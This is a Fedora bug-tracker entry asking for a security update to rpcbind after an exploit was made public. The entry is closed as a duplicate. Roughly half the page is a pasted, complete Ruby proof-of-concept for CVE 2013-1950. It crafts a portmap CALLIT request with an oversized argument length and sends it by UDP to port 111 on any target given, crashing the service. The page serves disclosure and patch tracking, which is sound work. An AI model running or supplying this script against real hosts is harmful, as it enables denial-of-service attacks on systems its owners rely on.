Bug 985254
| Summary: | rpcbind exploit made public for 0.2.0-19 - push 0.2.0-20 to fc 17 stable | ||
|---|---|---|---|
| Product: | [Fedora] Fedora | Reporter: | customercare |
| Component: | rpcbind | Assignee: | Steve Dickson <steved> |
| Status: | CLOSED DUPLICATE | QA Contact: | Fedora Extras Quality Assurance <extras-qa> |
| Severity: | urgent | Docs Contact: | |
| Priority: | unspecified | ||
| Version: | 17 | Keywords: | Security |
| Target Milestone: | --- | ||
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| URL: | http://packetstormsecurity.com/files/122431/rpcbind-CALLIT-UDP-Crash.html | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | Bug Fix | |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 2013-07-17 08:12:13 UTC | Type: | Bug |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
*** This bug has been marked as a duplicate of bug 955211 *** |
#!/usr/bin/ruby # # rpcbind_udp_crash_poc.rb # 07/15/2013 # Sean Verity <veritysr1980 [at] gmail.com> # CVE 2013-1950 # # rpcbind (CALLIT Procedure) UDP Crash PoC # Affected Software Package: rpcbind-0.2.0-19 # # Tested on: # Fedora 17 (3.9.8-100.fc17.x86_64 #1 SMP) # CentOS 6.3 Final (2.6.32-279.22.1.el6.x86_64 #1 SMP) # # rpcbind can be crashed by setting the argument length # value > 8944 in an RPC CALLIT procedure request over UDP. # require 'socket' def usage abort "\nusage: ./rpcbind_udp_crash_poc.rb <target>\n\n" end if ARGV.length == 1 pkt = [rand(2**32)].pack('N') # XID pkt << [0].pack('N') # Message Type: CALL (0) pkt << [2].pack('N') # RPC Version: 2 pkt << [100000].pack('N') # Program: Portmap (100000) pkt << [2].pack('N') # Program Version: 2 pkt << [5].pack('N') # Procedure: CALLIT (5) pkt << [0].pack('N') # Credentials Flavor: AUTH_NULL (0) pkt << [0].pack('N') # Length: 0 pkt << [0].pack('N') # Credentials Verifier: AUTH_NULL (0) pkt << [0].pack('N') # Length: 0 pkt << [0].pack('N') # Program: Unknown (0) pkt << [1].pack('N') # Version: 1 pkt << [1].pack('N') # Procedure: 1 pkt << [8945].pack('N') # Argument Length pkt << "crash" # Arguments s = UDPSocket.new s.send(pkt, 0, ARGV[0], 111) else usage end